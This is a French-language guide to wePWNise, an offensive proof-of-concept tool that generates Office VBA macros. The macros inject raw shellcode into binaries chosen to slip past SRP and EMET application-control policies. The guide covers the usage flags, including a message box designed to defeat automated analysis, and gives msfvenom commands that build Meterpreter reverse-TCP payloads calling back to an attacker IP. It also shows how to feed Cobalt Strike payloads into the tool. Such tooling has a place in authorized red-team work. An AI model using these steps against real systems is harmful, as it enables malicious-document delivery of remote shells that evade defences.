
WePWNise génère du code VBA indépendant de l'architecture à utiliser dans des documents ou modèles Office et automatise le contournement des logiciels de contrôle d'applications et d'atténuation des exploits.
wePWNise est un script Python de preuve de concept qui génère du code VBA pouvant être utilisé dans des macros ou modèles Office. Il a été conçu dans un souci d'automatisation et d'intégration, ciblant des scénarios d'environnement verrouillés. L'outil énumère les politiques de restriction de logiciels (SRP) et les atténuations EMET et identifie dynamiquement des binaires sûrs dans lesquels injecter des charges utiles. wePWNise s'intègre avec des frameworks d'exploitation existants (par ex. Metasploit, Cobalt Strike) et accepte également toute charge utile personnalisée au format brut.
Pour commencer à utiliser wePWNise, examinez d'abord les options qu'il prend en charge :
usage: wepwnise.py [-h] -i86 <x86_shellcode> -i64 <x64_shellcode> [--inject64]
[--out <output_file>] [--msgbox] [--msg <window_message>]
optional arguments:
-h, --help show this help message and exit
-i86 <x86_shellcode> Input x86 raw shellcode
-i64 <x64_shellcode> Input x64 raw shellcode
--inject64 Inject into 64 Bit. Set to False when delivering x86
payloads only. Default is True
--out <output_file> File to output the VBA macro to
--msgbox Present messagebox to prevent automated analysis.
Default is True.
--msg <window_message>
Custom message to present the victim if --msgbox is
set to True
wePWNise nécessite à la fois des charges utiles brutes 32 et 64 bits afin de pouvoir délivrer le type approprié lorsqu'il atteint une cible inconnue. Cependant, si seule une architecture x86 est ciblée, une charge utile factice 64 bits doit être fournie pour remplacer le code manquant.
Afin de contourner certaines configurations d'analyse automatisée, une boîte de message s'ouvre lors de l'exécution du code. Le texte de la boîte de message peut être modifié en définissant sa valeur dans le paramètre --msg. Pour désactiver cette fonctionnalité, définissez le paramètre --msgbox sur False.
En raison des conditions de performance pouvant être induites par des politiques SRP/EMET longues, wePWNise lit deux fichiers de configuration (binary-paths.txt et directory-paths.txt) qui contiennent une liste d'exécutables et de répertoires moins susceptibles d'être surveillés, à vérifier en premier. En modifiant le contenu de ces fichiers, l'utilisateur peut définir ses propres choix. Si les fichiers sont vides, wePWNise commencera directement à lire les politiques SRP/EMET telles qu'elles sont définies dans le registre et fera son choix d'injection uniquement sur la base des informations récupérées.
Les sections suivantes décrivent quelques exemples d'utilisation de base de wePWNise.
D'abord, les charges utiles pour les architectures x86 et x64 au format brut et assurez-vous que les écouteurs Metasploit sont configurés de manière appropriée.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -o /payloads/msf86.raw
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f raw -a x86_64 -o /payloads/msf64.raw
Pointez ensuite wePWNise vers les charges utiles générées et dirigez la sortie vers msf_wepwn.txt
$ wepwnise.py -i86 /payloads/msf86.raw -i64 /payloads/msf64.raw --out /payloads/msf_wepwn.txt
Pour générer une charge utile brute dans Cobalt Strike, accédez au menu suivant : Attacks > Packages > Payload Generator et dans le menu déroulant Output, sélectionnez le format Raw. Répétez le processus et cochez la case x64 pour produire une charge utile 64 bits.
Attacks > Packages > Payload Generator
Entrez les charges utiles générées dans wePWNise pour générer le code VBA.
$ wepwnise.py -i86 /payloads/cs86.raw -i64 /payloads/cs64.raw --msgbox False --out /payloads/cs_wepwn.txt
Dans certains cas, il se peut que seule une charge utile x86 soit disponible. Comme wePWNise attend à la fois une charge utile 32 bits et 64 bits, pour désactiver l'injection 64 bits, créez un fichier factice 64 bits et définissez le paramètre --inject64 sur False.
$ echo "+" > /payloads/dummy64.raw
$ wepwnise.py -i86 /payloads/custom.raw -i64 /payloads/dummy64.raw --inject64 False --out /payloads/wepwn86.txt
De même, pour générer uniquement des charges utiles 64 bits, créez un fichier factice x86 et fournissez-le dans le paramètre de ligne de commande -i86 de wePWNise.
wePWNise est publié sous une licence BSD à 3 clauses et maintenu par MWR InfoSecurity
Cet outil a été développé à l'origine par Vincent Yiu (@vysecurity).